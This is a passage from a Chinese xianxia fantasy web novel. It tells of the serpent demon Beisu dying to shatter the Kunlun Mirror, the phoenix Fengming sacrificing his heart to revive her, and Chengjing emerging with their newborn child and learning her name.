天权仙尊道:“已经安置好,只待道君渡劫成功,我等立即启动。” “好。”天枢仙尊仰望金光升起之处,缓缓笑了出来:“好。” “好!” 他一连说了三个好,身后的仙尊也笑出来。 他们冷眼看着那道血影再次挡住星宿阵,支起的荆棘寸寸碎裂,倒刺入她身体里。 北溯很清楚一个事实,耗费太多的灵源与神魂之力去催化鳞舞,她已经没有能力杀死他们。 鳞舞,是她唯一的希望。 一旦结界破开,他们找到成镜,鳞舞一诞生,就会死。 心肺抽痛,神魂震荡,她不可置信地回望,看到那金光的瞬间,喉咙里发出咒骂。 “雾漓,你个杂种——” 她在寝殿外设下的结界碎了。 一道虚影投射在苍穹之上,黑夜骤然被星光充斥,密密麻麻的星点闪烁,被那虚影攘括。 所有见到此虚影的生物,皆是感受到强大的压迫力,身体与意识都本能地臣服,不敢直视。 那只是个虚影,却足以将三界毁灭。 即便是天枢仙尊,都要在这道虚影面前跪伏。 星辰聚集,这世间所有星辰蕴含的力量凝聚成一道光束,狠狠砸下。冲破那满是裂纹的结界,砸中寝殿,寝殿外的结界如脆弱的纸,轻易被摧毁。 片刻后那威力散去,请神令坠落,令牌上的一道印记被抹平。苍穹那道虚影缓缓淡去,星辰之芒黯淡。 雾漓连滚带爬,匆匆化为魔气逃离,还是被伤到。 魔气凝聚成人形,雾漓冲过去抓住请神令,一瘸一拐地走向殿门。 他伸出手,去推殿门。 没有推开。 他不信邪,继续推,但那门纹丝不动,重得如座山。 “怎么会这样,她还设了第二道结界?” 他将魔气注入请神令中,指望那神威再降,但没有一丝反应。 恐惧在心底蔓延,他的手抖着,一直往请神令里注入魔气,“不是说请神令能请三次神降,人皇城用了一次,应该还剩一次。” 不论他怎么做,请神令都没有反应,甚至因为承受不住魔气,产生裂痕。 最终,请神令在他手中裂了。 雾漓手一抖,请神令碎片掉了一地,落在石板上,发出清脆声响。每一声,都像是一把刀刺入身体。 惊恐的眼看着殿门,他不敢想,若是没有将人带给他们,自己的下场会是如何。 “不可能,那是神威,不可能破不了她的结界。” 雾漓脑中迅速浮现一个猜想,看着殿门的眼神更加恐惧。 “除非是……” 在他看不见的殿内,无数莲叶充斥,没有水,却满是莲叶。 在莲叶最中心,是成镜的身体,裸露的肌肤白到与莲子同色,完全不是人应该有的肤色。 他静静躺在莲叶中,一股强大而神秘的气息散发,在他周围飘荡,静谧,安宁。 这股气息将他与外界隔绝,仿佛将他带离这个空间,神威天降,都无法碰到他丝毫。 丝丝缕缕灵气从莲叶中溢出,涌入他的身体,洗去他身上的污浊。 这处寝殿成了无法从外界侵入的封锁空间,内里还有一道北溯设下的结界,灵气在结界内飘荡,没有一丝溢出去。 地面湿润,不知从何处冒出的水蔓延,水面渐渐上涨,将那没有知觉的人淹没。 那水透彻,水底一切清晰可见。 男人浸泡在水中,皮肤白得能看见水波掠过的波纹。 一朵莲花自他背后生出,花瓣张开,缓缓将他包裹在内。花瓣合拢之时,水已经漫过去,将整个空间填满。 所有的莲叶,与这朵莲花一起,被水淹没。 莲叶中央,那朵紧紧包裹的莲花。底端颜色鲜红,隐隐有荧光透出,甚至可以看到圆形轮廓。 谁也不知里头发生了什么,只知道那道神威降临后,结界破裂。 “叫四仙尊回来,他们结阵耗费太多仙力,很虚弱。” “遵命。”开阳仙尊立刻去叫他们回来。 四仙尊得到命令,同时收回仙力,浮于魔界上空的星宿阵消散。他们正准备回去,变故突生。 与界碑同长的狐尾横扫而过,那只能拍裂山体的狐抓狠狠拍向那几位仙尊,他们意识到危险后已经极力躲避,只来得及避开要害。 天枢仙尊眼神一凛,冲上去将他们救回来。 “你不该插手帮她。” 那只九尾狐踩在山石上,狐尾横扫,逼近的修士被扫飞出去,重伤无数。 此刻战场上,人族余下七位仙尊,不知生死的天綪,而魔族,只有北溯和冉姬瑶。 北溯冲冉姬瑶道:“你只需撑一会,我有办法对付他们。” 此刻她必须回去看成镜的情况,定然是雾漓破开了她的结界,除请神令,她想不到还有什么能破开结界。 且若是成镜还不能生,只能她用剩下的灵源尝试催化。 “我撑不了多久。”九尾狐猩红巨眼盯着那群仙尊,谨慎道:“他们七个,还有降魔杵。” 被压在碎石下的降魔杵升起,仙力注入其中,胀大数倍。 由仙力催动的降魔杵,爆发的威力是灵力催动的数倍,且天然克制魔气。没有降魔杵,冉姬瑶兴许还能多撑一会。但降魔杵在,她的实力最少被削弱一半。 北溯看到了降魔杵。 她动了动变形的胳膊,笑了一声。 “看来我去不了了。” 她想了想,除非冉姬瑶能给她争取半个时辰时间,否则他们追上来找到成镜,以她现在的身体情况,抵挡不了多久,更别提她用灵源催化。 “雾漓啊雾漓,你该祈祷我这次不会死,否则,我定要亲手宰了你。” 她深吸一口气,胸肺火辣辣地疼,已经不知道身体还有哪处是完好的。 降魔杵的金光展开,笼罩魔界,魔气在这金光下无处遁形,被灼烧着散尽。 九尾一扫,妄图将其打下,滋滋声响起,毛发肉眼可见地成了黑炭。 冲上去前,北溯在心底唤了一声鳞舞的名字。 莲花内蛋的轮廓成型,透过花瓣,能瞧见漆黑的一团。 蛋动了一下,花瓣松了一瓣,却没完全盛开。 黑蟒再现,盯着灼痛的金光,狠狠拍击降魔杵。降魔杵外围出现裂痕,开阳仙尊急忙道:“快,修补降魔杵!” 仙力注入,裂纹未能修补。 那条巨蟒一口咬住降魔杵,獠牙将其咬碎,碎片坠落,随之坠落的,还有鲜血。 “轰——” 雷声炸开。 那条巨蟒口中满是鲜血,淋了一地。 身上的伤还未结痂,血肉模糊。 她翠绿的竖瞳满是杀意,盯着那群仙尊,宛如杀神降世。 四仙尊被她重创过,知道她的厉害,又见她连降魔杵都能摧毁,心生退意。 九条狐尾摆动,冉姬瑶动用她的秘术,身上绒毛根根成刺,如雨般密集,拂尘飞速旋转,挡住尖刺。 那尖刺锋利得割断麈毛,差点扎到他手。 天枢仙尊再一望那还未成型的雷劫,心头一沉,道:“将那东西拿出来。” 他们一听,不再问等不等成镜出来,联手聚集仙力,直指云端。 黑云被驱散,有什么东西要出来。 在看清那东西的瞬间,北溯只想笑他们。 笑他们虚伪,连一面镜子都要造个假的给道宗。 “当初道宗请走的那面昆仑镜,是用剩余的材料制作,这一面,才是真正的昆仑镜。” “今日,就是你的死期!” 天枢仙尊飞身入镜,其余十名仙尊跟着一齐入镜。 这面镜将苍穹占据,将三界照入其中,将昆仑投射,将黑蟒囚禁。 镜中一片翠绿,只有一座连绵不断的山峰。 山峰之上,数道人影。 他们齐齐将仙力凝聚,与镜中十一位仙尊联手,展开弑神阵。 “先灭了你的肉身,再毁了你的神魂!” 数道流光冲出昆仑镜,在苍穹飞旋,画出法印。 十一位仙尊的身影在阵中浮现,那股灭世之威降临,时间仿佛凝滞,空间裂开。 九尾狐动作停滞,尖刺呆滞在空中。 只有北溯能看到那法阵。 再次面对弑神阵,她只觉得可笑。 已经弑神过的人,体验到弑神的快感,只会更兴奋,想杀更多的神。 北溯有那么一刻觉得,自己可能见不到鳞舞了。 翠绿的竖瞳闪过一丝遗憾。 那朵莲花怕是要帮她带鳞舞。 黑蟒周身亮出星芒,金色的星芒。她从未动用过神格的力量。之前没有,是不想用了月神留下的唯一一件东西。 但现在,她必须要用。 为了保住鳞舞,保住孕育了鳞舞的他。 星芒凝聚成月,金色弯月在她身后浮现,他们看清那弯月之时,脑海中同时浮现一个念头。 她想与他们同归于尽。 “快抽出她的神魂,断开她与神格的连接!” 北溯冷笑:“晚了。” 金月冲入昆仑镜中,炸开。 金月将昆仑镜吞没,诡异的安静。 镜中的昆仑消失,只有一轮金色弯月浮现。 北溯望着那弯月,想起与月神的初见。那时她潜入人皇城,盗走了请神令,不小心将妖力注入,请来了神降。 那是她第一次看到浑身洁净得如白纸一般的人,比月光还纯净。 第二次,是在昆仑见到那朵金莲。 他说他名为月神,是她请来他降临世间。 那会北溯想的是,神那么厉害,应该能改变妖界的局面。她请求他,救妖界。 但他摇头,牵着她的手,走到月桂树下,去看池水中的景象。 他说:“一旦我插手,一切就会混乱,兴许妖界会避开劫难,也可能会提前覆灭。” 他给了她一些“微不足道”的帮助,教她规避,但一切还是没法改变。 即便晚了三百年,她还是会死。 昆仑镜碎裂,碎片四射,刺中黑蟒身体。 时间恢复流转,时空融合。 昆仑镜即使碎裂,也是神器,其威能足以使妖王毙命。 九尾哀嚎一声,她的妖尾被碎片截断,只剩下五根。 一道雷声炸开。 烈火蔓延,一道火红身影穿梭碎片,被一块拇指大小的碎片射中侧颈。那只炽热的,燃烧着的凤凰倾斜着身子,撞进 山石中。 他抬起脑袋,冲前方望去,挣扎着起身,翅膀拍动,一跃而上。 “不要——” 黑蟒坠落,身体缩小,砸向深坑。 那只凤凰冲过去,挡住碎片,接住她的身体。 大颗大颗的泪从火瞳里洒落,他紧紧抓住她,身体冲向地面,滚了好几圈。 但他一直都将她护在绒毛里,直到身体平稳,才张开翅膀。 绒毛上有血,她身上也有血。 火瞳盯着她,眼睛都不敢眨。 爪子轻轻碰了碰她的身体,没有看到她睁开的绿瞳,也没有看到身体动弹。 其实已经看不出怀里的人是她。 凤鸣看过她很多张不一样的脸,但没有哪一张,像现在这样,辨认不出来。 甚至也看不出这是一个人。 皮都裂开了,骨头断了,肉都焦了。 心都不跳了。 爪子再碰了碰她。 凤鸣说:“北溯,你醒醒。” “北溯,你醒醒。” 他眨了眨眼,泪珠砸下来,像溪水一样,将她淹没。 他忽然笑出来:“你不会是死了吧。” 笑容僵硬了一下,他说:“我刚来,你就要死吗?” 凤凰化为人形,凤鸣抱着不成人样的身体,无力地垂下脑袋。 “你怎么死了呢。” 他的心剧烈地跳动,一声一声,比那雷声还要响。 九尾狐奄奄一息靠在界碑上,转头看去,这处与人界接壤的地方,遍地是尸体。 人族修士以几乎全军覆没的代价,杀死了邪神。 这样的代价,值得吗? 她听到一声凄厉的哀嚎,伴随着闪电划破天际。 那只曾经不敢信任伙伴的凤凰,想弥补时,只犹豫了一会,又晚了。 他跪在血海中,抱着伙伴的尸体,失声恸哭。 第42章 “有时候我挺烦你的,总冲在最前面,别人想表现的机会都没有。你都不知道,那些老家伙们怎么说你的。” 红发少年冲正在绑修士的少女抱怨,少女没什么反应,将绑好的修士扔给他。 凤鸣接住,认命地把人往边界拖。 “你干嘛这么卖力为他们干事,赶走的修士再多,他们也不会提拔你。” 北溯转身,继续捕捉人族修士的气息,偏头一看走得缓慢的凤鸣,催促他:“你不快些,待那群修士来,被围攻的就是你了。” 凤鸣闷闷地哦了一声,加快脚步。 他拖着已经没有反手之力的修士,到了边界就把人外人界一抛,扔之前没忍住踢了一脚。 “天天侵入妖界抓我们,还不让杀,憋屈。” 没过一会,又传来召唤,凤鸣慢吞吞地挪过去,地上好几个被绑好的修士,已经被打晕了。 他蹲在修士脑袋边,拍了修士脑袋几巴掌,愤愤道:“要不是你们这群人老想着抓妖,我们根本不用这么累。” 好不容易将潜伏进来的修士驱赶走,回去时天已经黑了。 妖王雾海在和其他几位大将在商议布防事宜,树下不见熟悉的身影。凤鸣找了一圈,在河边找到了她。 她坐在岸边,双腿泡在水里,仰头看天。 凤鸣看了会,走过去,在她边上站着,问:“受伤没?” 她偏头看过来,将双臂抬起来。手臂上好几道伤痕,已经不流血了。 “都说让你不要冲那么前,你看,受伤了吧。” 凤鸣皱眉,刚要酝酿情绪哭出眼泪给她疗伤,就听她说:“我不冲前面,指望你们几个实力弱的?” 凤鸣想反驳,被她接下来一句话堵住。 “我可不想给你们收尸。” 凤鸣看了她半晌,慢慢哦了一声。都不用酝酿情绪,眼泪就这么流下来。 滴在她身上。 却没有任何反应。 他们四个,冲在最前面的是北溯。 最先死的,也是北溯。 “可我也没想要给你收尸……” 凤鸣抱着她,都不敢用力,眼泪滴在她身上,怎么都无法挽回逝去的生命。 哭到眼前模糊,也不能将她哭回来。 以前他们受伤,用他的眼泪就可以痊愈,但现在,眼泪没用了。 凤凰抱着他死去的伙伴,跪于这炼狱之中。 冉姬瑶靠在界碑上,断尾血还没止住,她艰难地将断尾堵住,已经站不起来。 不远处那只凤凰脖颈也在流血,他自己都没注意到。 刚要开口提醒,远处强悍气息袭来,她立即冲他喊:“有人族修士靠近,你最好赶紧离开!” 凤鸣呆了会,才反应过来,抬头一看,闪电照亮那群人的身影,有修士御剑而来,他们的身影在闪电的映照下,如同地府使者,带来死亡的气息。 他立刻恢复原形,将尸体小心翼翼裹进绒毛里,冲妖界的方向飞去。 火红的翅膀黯淡了许多,脖颈处翎羽湿透,血与赤色翎羽混合,分不清那是血,还是翎羽的颜色。 他刚飞上天空,修士捕捉到他的气息,追击他。 “那是妖王凤鸣,抓住他!” 坚硬的狐尾横扫过来,将修士掀翻。 赤色妖瞳盯着这群修士,口中发出警告:“你们道宗宗主已死,不想死的,现在离开还来得及。” 修士们起先被天綪死亡的消息吓到,生出退意,很快有修士发现九尾狐身负重伤,高声喊:“别信她的鬼话!她重伤了!我等齐心协力将她制服,抓住她,回道宗就是大功一件!” 冉姬瑶冷眼看这群被欲望吞噬的人族,四爪着地撑起身,嘶鸣一声。 连通魔域与魔渊的通道开启,无数只魔穿过通道,朝此处涌来。 她的妖瞳红光大放,剩余的五尾抬起,毛发化为尖刺,隐匿在黑暗中,密密麻麻,射向冲过来的修士。 “分散开,你们去追那只妖兽!” 前头的修士被尖刺刺入身体,密集的血珠从身体各处溢出,尖刺穿透修士的脑袋,刺中紧随而上的修士。 在后头的修士只看到前头的突然往下坠,苍穹被闪电照亮的那一刻,他们的眼中倒映出无数尖刺。 “展开防御结界!” 修为高的修士基本都死了,来的这波最高的也只有三阳境,冉姬瑶虽身负重伤,短时间内威慑他们还是能做到的。 但她的秘术无法发挥出全部威力,否则这个时候,这群修士已经死光了。 秘术结束,尖刺散尽,躲在防御结界后的修士谨慎观察,发现她已经没法再动用秘术,立刻冲过去。 冉姬瑶忍着剧痛,狐尾拍下,修士已经做好准备,加上她受伤速度变慢,只有几人没逃开。 他们将剑斩向她尾巴,各类法术轮番砸上去,打红了眼,连迅速靠近的魔都没注意到。 魔气融于黑夜,冲出魔域,与人族修士对撞,放出冷箭,杀了个猝不及防。 “有魔!” “快防御!” 赶来的魔将留了两名去救冉姬瑶,其余的与这群修士缠斗。 今晚,不将他们杀死,不休。 后退的修士踩到昆仑镜碎片,碎片中一张人脸闪过,魔将逼近,匆匆躲避,脚移开,碎片不见踪影。 雷声炸开,掩盖修士法器击出的声音,飞翔的凤凰身子一颤,高度下降,翅膀使劲扑腾,才保持了高度。 朝后看了眼,他的背部被一杆长□□入,翎羽脱落。不远处就是追上来的修士。 “抓住那只妖兽,他是妖王,杀了他,妖界群龙无首,届时我等便可清扫妖界!” 他们越来越近,毫发无伤的修士与重伤的妖兽,这场围剿的结局,必定是妖兽被捕。 悲戚而愤怒的火瞳洒下泪,他低头看着怀里的尸体,冲动却又冷静地想出一个方法。 这可能是他这辈子,最疯狂的想法。 阵法从天而降,数道剑影冲向他。 凤鸣忽然停下,庞大的妖兽身躯瞬息间变为人形,右臂抱着尸体,妖力凝聚到左手,凝出拇指大小的火球。 他的红瞳火焰燃烧,盯着逼近的修士,露出笑。 他的眼中还有泪,笑容充斥着怒火与绝然。 “想杀我,你们还没那个本事。” 火球胀大,吞没坚硬,融化阵法,还在迅速往外扩。 修士当即倒退,尖叫:“妖王秘术!快躲开!” 一口血呕出来,血沾满凤鸣的牙,他笑得蔑视,笑得猖狂。 “成镜能接住我这一招,你们能吗?” 修士脚下的剑成了铁水,他们仓惶逃避,为了保住自己的命,哪里还记得来之前的“雄心壮志”。 烈焰将一切融化,灰烬飘散,他们全都没能逃脱。 凤鸣再也没力气支撑,直直往下坠。 他的身体砸在地上,咔擦声响,滚了好几圈,躺在地上不动了。 狰狞可怖的闪电划过天际,照亮此处。 大地好似秃了一块,草木的灰烬与修士的骨灰混杂在一起,满目凄凉。 凤鸣睁开了眼,他看到漆黑的夜空,没有一颗星星,没有月亮。 双眼努力往下看,她的尸体还在。 一颗心安定下来。 他将她移到身侧,费了好一会才将她移到地上,随后急促地呼吸。 不知在地上躺了多久,凤鸣觉得自己恢复了些力气,抬手按在自己心脏的位置,却不敢看她。 血从脖颈流淌,很热很热的血,热得发烫。 “我不想给你收尸。” 他的声音已经嘶哑得听不出在说什么,像是有东西在锯嗓子。 “你不知道吧,我除了眼泪能疗伤,还有个很厉害的能力。”他朝妖界的方向偏头,一座山堵住视线,看不到后面的景象。 只要越过这座山,就能带她回到妖界。 可是他回不去了。 只这么一座山,将路挡住。 五指化为妖爪,尖锐锋利的爪尖刺入胸膛。 那滚烫的血,如他泣下的泪,从身体里流出来。 很疼,疼得他都没力气再用力。 手臂卸力,爪尖还刺在胸口,凤鸣大口大口地呼吸,每一次呼吸,疼痛都会刺激他的神经。 越来越痛,越来越没有力气。 不行,不能断。 他在脑海里对自己说,另一只手化为妖爪,深入土壤,用力收紧。 破碎的喉咙发出嘶吼,他的手穿透身体,握住那颗跳动的心脏,一把拽了出来。 怦怦——怦怦—— 他用自己的手,掏出了自己的心。 凤鸣觉得自己好像要死了。 他终于敢去看她,那颗心差点从他颤抖的手中掉下。 他费了好大的力气,撑了好久,才将那颗心放到她身上。 但是她不动。 地面的灰烬湿了大块,凤鸣用胳膊碰了碰她,催她:“你快吃啊,吃了我的心,能活。” 她不吃。 凤鸣疑惑,问她:“你为什么不吃?” “你又嫌弃我。” 他等了好一会,突然想起来,她已经死了,吃不了。 凤鸣握住那颗心,眼前一阵恍惚,好像看到了她在树下,冲他笑。 他跑过去,重重拍了一下她的肩膀,没好气地哼了一声:“我跟你说,你再受这么重的伤,可没有我救你了,这世间只有我一只凤凰了。” 他看着她的笑容,缓缓咧开嘴笑了。 “凤凰一族呢,除了眼泪能疗伤,还有个很强大的能力。”他笑得得意:“你知道涅槃吗?” “我们凤凰一生有两次涅槃的机会,一次是诞生的时候,一次是面临死亡。” “我可比那只臭孔雀厉害多了,我们四个,他最弱。” 他握住那颗涅槃之心,将自己所有的力量注入其中。火红的妖力将心包围,远远看着,像是火焰在燃烧。 “只要你神魂还在,就算身体腐烂,化成灰,我也能救活你。”他看着树下的她,期待她的震惊与夸赞。 可她只笑,不说话,眼睛也不眨。 心燃烧起来,逐渐蔓延,将他的手烧脱落了皮,吞噬他的身体,却温柔地将她包裹。 凤鸣不高兴了,化作真身飞翔苍穹,展示他七彩的翎羽,绮丽美妙。 “你不相信是吧,我现在就展示给你看。” 火焰将她包裹,残忍地将他一点点烧成灰烬。 火焰顺着他的胳膊,攀上他的身体,所到之处,皆成灰烬。 脸上的皮被融化,血水蒸发。 烧上双眼时,他弯了眼眸,红瞳的光渐渐暗下。 “我想你活着。” “三百年前我没做到。” “现在我应该是,做到了吧。” 脑袋被灰烬取代,那半边身子很快被火焰吞噬,火越来越大,遵从主人的意志,将她包裹在内。 火焰中似乎有金光闪烁,丝丝缕缕,缓缓凝聚。 火在烧,雷在响。 希望以后再见到你时,是你的真容。 那棵苍天巨树忽然倒塌。 黎衣白心跳骤停,久久才呼出一口气。 她闭上了眼,泪水顺着脸颊滴落。 梧桐断,凤凰亡。 “轰隆——” 前所未有的惊雷炸响,所有生灵都被震颤到,心神不宁地望向天际。 同一片天空下,结界散开,浓郁的灵气涌出,迅速扩散,覆盖魔域。 莲叶颤动,水褪去,那朵本是白色的莲已经被红充斥,一瓣一瓣地张开。 每开一瓣,扩散的灵气就被收回一部分。莲叶化为灵力,涌入莲花内。 十三瓣全开后,一颗晶莹纯净,透彻无暇的蛋悬浮在花蕊上。 蛋壳上莲花印记时隐时现,隐约还能看到漆黑的蛇印。 “咔嚓——” 蛋上出现裂纹,起先头发丝细,慢慢扩大。 蛋壳裂成两半脱落,蜷缩的婴孩显现。 她的眉心一道莲花印记闪过,再一看,什么都没有。 她哭了。 哭得很伤心,好似要窒息。 所有莲叶化作灵气融入莲花内,莲花消失,人影出现。 成镜浑身湿透,捂着双眼,不住地喘息。 耳边是婴孩的哭啼,脑海中一直浮现同一个画面,不知是梦还是现实。 一条黑蟒冲向天际,黑鳞洒落,折射着金光。 成镜缓了很久,才从那画面中找回神智,手拿开,睁开的眼看到那婴孩。 很小很小,脆弱得他现在就能杀死。 他站起身,走过去。 衣衫凌乱,发丝散开,汗珠滑落,整个人好似刚经历了逃亡,连步伐都不稳。 越靠近,心跳得越快。 眉心印记闪烁,他的手凝聚了灵力。 刚抬起手,婴孩突然掉落,手中的灵力消散,反应过来时,已经举起双手,抱住了她。 思绪还未来得及整理好,对上了她睁开的眼,翠绿色的,圆圆的瞳孔收缩,成了竖瞳。 看到这双眼的瞬间,成镜眼前闪过女子的身影。 他当即朝殿门看,已经感知不到结界的存在。 有那么一瞬间,心好像停跳了。 他在婴孩上凝出衣裳,没有管她的哭声,推开殿门。 殿内的莲香迅速消散,他的身影一出现,苍穹乌云密布,雷声更加密集。 婴孩似乎被雷声吓到,往他怀里缩。 成镜僵硬着身子,生硬地抬手,拍了拍婴孩后背。 “哇——” 她哭得更大声了。 随之而来的,是一道咬牙切齿的声音。 “我说她怎么带个男人回来,原来是想传宗接代啊。” 成镜偏头看过去,墙上靠着一个浑身是血的人,是雾漓。 雾漓吐出一口血,阴狠地盯着走出来的人,嗤笑:“真的是你。” 从猜到北溯带回来的人是道宗那位道君,再到现在亲眼看到这位道君走出来,甚至怀里还有个孩子。 阴鹜的目光转向那啼哭的婴孩,满口恶言:“这么短时间,她居然给你生了孩子,难怪实力大减,连一群老头都对付不了。” 成镜蹙眉,没有解释,忽略他说的话,开口问他:“她在何处?” 雾漓撑着墙壁站起来,指着天,狂笑:“她啊,在天上呢。” 成镜只看着他,明显不信。 雾漓笑着笑着咳出了血,他站起来,走得踉踉跄跄,差点砸地上。 “你不信?” “你不信??” “哈哈哈……”他笑着,混杂着唾液的血流出来,滴到胸膛上,一向爱美的他,此刻连仪容仪表都不整理,根本不在乎。 “她多喜欢你啊,就为了这么个孩子,死都要守着结界,还在你周围布下两道结界。” “防的是谁啊,”雾漓狠狠戳自己胸膛,“防的是我啊。她把我当贼,当仇人!” “哇——” 婴孩的啼哭与雾漓的尖锐笑声灌入成镜耳中,他在婴孩周身覆盖了一层结界,隔绝外界声音,再一看苍穹逐渐成型的雷劫,说话速度加快了几分。 “她在哪?” 雾漓 只笑,一个劲地笑。 他知道自己在成镜面前没有还手之力,封闭的五感已经在片刻前解开,疼得想死。 但比起死,他更乐意看到这个看起来风光霁月的道君,露出绝望的表情。 狗屁的正道之士,不也和他们一样卑劣,用命威胁他,结果呢,都死了。 真可惜,怎么没把这个道君也一起杀了。 雾漓收了笑,嗓子烧得说话都哑了:“你不知道,她的结界除非神器破,否则不会碎。” 结界碎裂后,他尝试过进去杀了成镜,但里头有股力量护着,他根本进不去。 他抬手指向成镜身后,说:“你出来的时候,没发现她的结界没了?” 成镜眨了一下眼,眉心印记闪烁,他缓缓转身,看向身后。一直都存在的结界早已没有踪影,周围也捕捉不到她的气息。 婴孩还在哭,哭得撕心裂肺,成镜却不觉得这声音刺耳,隐隐察觉到了什么。 雾漓冲婴孩嘶吼:“哭,哭什么哭!你娘死了吗你就哭!” 他呆愣了,低喃一句:“她确实死了。” 声音很轻很轻,轻到只是他在心中低喃,根本没发出声音。 他转身,拖着重伤的身体,一步步往外走。 走一步,在心里念一句。 她死了。 雾漓冲着界碑的方向望,眼前重现那条黑蟒冲向昆仑镜的画面。 她根本没有想过别人,直接冲上去与他们同归于尽了。 她死了。 他咧开嘴,无声地笑。 死的好,死的好,早该死了! 被她压的日子他已经受够了,世上再也没有人会压他一头了。 “我知道你,”冰冷的身影从身后传来,雾漓没有停,继续走。 直到听见那句话。 “你背叛了她。” 雾漓步伐骤停,身子颤抖起来,猛地转身咒骂:“你知道些什么!我没有背叛她!是她自找的!是她不知收敛,到处结仇!” “是她的错!” 他吼得脖子耿直,脸上泛红,不住地咳血。 成镜平静看他,继续说:“她救了你,但你转头就招来昆仑,将她擒住。” “那是她自找的!我让她来救我了吗!” 雾漓步步后退,跌倒在地。他趴在地上,眼前是吐出的血。 一如当年,北溯的计划失败,爹死了,妖界幸存的妖兽被人族与昆仑截杀,他被抓到,被人族折磨,无数只脚踏在背上。 将他的尊严践踏。 如果不是北溯非要那么做,妖界不可能会覆灭,他也不会被抓住,受尽屈辱。 谁都不知道他是怎么熬过来的。 看到北溯出现的瞬间,无尽的恨吞噬了他。 她该死。 她该死! 雾漓翻身,面朝天,望着雷劫,知道自己逃不出成镜手心,干脆什么都说了。 “我真后悔,当初没有直接杀了她,那时杀了她,就不会有三百年后的今天。”他抹了脸上的血,颇为遗憾:“或者在她出生时,就该杀了她。” 成镜深吸了口气,压下心中莫名生出的怒火,抱着婴孩走过他。 雾漓望着他那焦急的样,哼笑:“急着找人呢。” 成镜脚步不停。 “不用找了,人早死了,尸体就在外面呢,你出去了就能看到。” 成镜脚步微顿,继续走。 “她对你真好,连我和她的事都告诉你了,那你知不知道,她啊,还有个心上人呢,谁也没见过。”雾漓问他:“你知道吗?” 成镜垂眸看向婴孩,沉默良久,才转身问。 “她叫什么?” 雾漓以为成镜问的是他说的北溯心上人,冷笑一声,说:“谁知道呢,藏得可严了,十几年就没见到过。” 成镜捏紧了手,再次出口,说:“我问的,是她。” 雾漓反应过来,慢吞吞地坐起来,一脸惊讶。配上他脸上的血,看着分外滑稽。 仿佛听到笑话,他放肆大笑:“她都为你生了孩子,你居然不知道她的名字?” 成镜抿唇,眼神逐渐低沉。 梦境里没有一个人说她的名字,似乎被什么力量强制抹去了。 雾漓哼笑:“你问我就要告诉你?” “这个世界知道她名字的人死的差不多了,你想知道她的名字?”雾漓撑着地面站起身,“除非你发誓,不会让任何人杀我,包括妖族和魔族。” 话音刚落,莲梗缠住他的脖颈,缓缓收缩。 “我不介意替她杀了你。” 雾漓立刻扯着莲梗,艰难吐出几个字:“我说!” 莲梗松开,他卸力地倒在地上,咳了几声,说出那个名字。 “她叫北溯。” 成镜的身影瞬间消失。 雾漓喘着气,死死盯着他离开的方向,没力气再笑。 “早干嘛去了,她都死了,你才出来。” “垃圾!没用!恶心!都去死!” 此刻魔域边境满是血尸,地上七零八落无数人的尸体。魔死后只会消散。 一道冷冽气息蔓延开来,存活的魔与修士惊恐望去,修士一见是他,立刻高呼。 “道君!快灭了这群魔!他们杀了我们众多修士,罪无可恕!” 他们无比期待成镜一出手,就将那只强弩之末的九尾狐杀了,再扫荡魔界。 然而他们发现,他连个眼神都没有给他们。 心中生出恐惧,却没有离开,没有发现他的异常,以为他没听清楚,继续喊。 成镜将整片尸海都搜寻遍了,没有她一丁点气息。 他站在尸海中,血浸染不了他。 哭啼声依旧。 此刻成镜恍然发觉,她为什么一直在哭。 “道君,杀了他们——” 冰冷无情的眼看向他们,修士的声音戛然而止,哆嗦着不敢说话。 成镜抬手,凝出莲花,花瓣散尽,地面的血升空,所有人看着这诡异又唯美的一幕,瞳孔倒映出一副画面。 画面里,女子化身为蟒,接下一次又一次星宿阵攻击,她的身体伤痕遍布,却没吐出一口血。 她身后浮现金色弯月,冲向那面镜子。 看到熟悉的纹路,成镜神情微变,随即瞳孔骤缩。 这位邪神,以自己的命为代价,碎了昆仑镜,与那十一位仙尊同归于尽。 碎裂的弯月与昆仑镜碎片充斥画面,她的身影坠落。 画面骤然碎裂,一道强悍灵力炸开,所有魔与修士被针得全失去意识倒地。 成镜猛然捂住双眼,眼睛热到发烫。 那不是梦,是她死前的画面。 那位万千修士期待飞升的道君,捂着眼,散乱的发丝掩住面颊,衣裳还是乱着的。 这样的形象,与以往他每一次露面,大相径庭。 微弱的声音从喉咙里发出来。 “裴云霄。” “北北。” “邪神。” “小北。” “北溯……” 第43章 血珠坠地,到处弥漫死亡的气息。这片土地上,横尸遍野,血河流淌。 婴孩一声声啼哭,伴随着越来越响的雷声,传向远方。 只有那青衫身影站立,狂风卷起发丝,掩住他面颊,遮盖他微微颤动的手。 画面中的一幕幕在脑海中回放,女子满身是血的身影挥之不去,梦魇一般缠着他。 即使再努力回想旁的 画面压制,也无济于事。 不论想什么,最先出现的,都是她的身影。 成镜恍然发现,自己活了三百多年,记得最清楚最深刻的,居然是与她不到一个月的相处。 天地之间,雷电交加。那位道君抱着他耗费大量灵力诞下的孩子,站在尸海中,站了许久。 所有还活着的魔与人族修士皆失去意识倒地,没有人看到此刻他的状态,他们倒地前,只顾着让他杀魔,没注意到他怀里还有个孩子。 或者说,他们已经杀红了眼,理智被疯狂取代,根本不会仔细去看。 一道赤色闪电划过,雷云卷积,轰隆一声炸响,宛如山崩。 蕴含足以毁灭世间万物的雷劈下,直中成镜身体。 那一刻世间所有生灵,齐齐抬头,看到一道光影从黑云之中劈下,狂风骤停,所有的声音消失,好似耳聋,耳中却有嗡嗡声。 第一道雷劫落下。 防御结界刚展开,就被劈碎。 成镜呕出血,身子一颤,险些倒地。 怀里的婴孩睁开翠绿的竖瞳,一滴一滴晶莹的泪滑落,洇湿衣衫,晕开滴落在衣衫上的血。 成镜望着她,怔神片刻,慢慢想起了她走之前说的话。 “等我回来。” “我给她起了个名字,叫鳞舞。” 发白的手指抹去她脸上的血珠,碰到她的瞬间,成镜僵住了手,忽然不敢再碰。 这是她的孩子。 这是他孕育出的,她的孩子。 成镜忽然抱紧婴孩,抬起眼,扫视四周,在看到那只重伤的九尾狐时,立即走过去。 脚下朵朵莲花盛开,隔绝一切血污。他每走一步,生出一朵。莲花发出微弱的荧光,映照着地面的狼藉。 他走到冉姬瑶面前,唤醒了她。 红瞳睁开,感知到他身上的气息,冉姬瑶立即防备,哭啼声闯入耳中,令她惊异,捕捉到那声音从何而来,刚看过去,就听到他开口问自己,声音听不出任何情绪波动。 “她的尸体呢?” 意识到他问的是那女子,冉姬瑶犹豫了片刻,没有告诉他。 下一秒,她看到了是谁发出的哭声。她看到了那双翠绿的竖瞳,熟悉的感觉浮上心头。 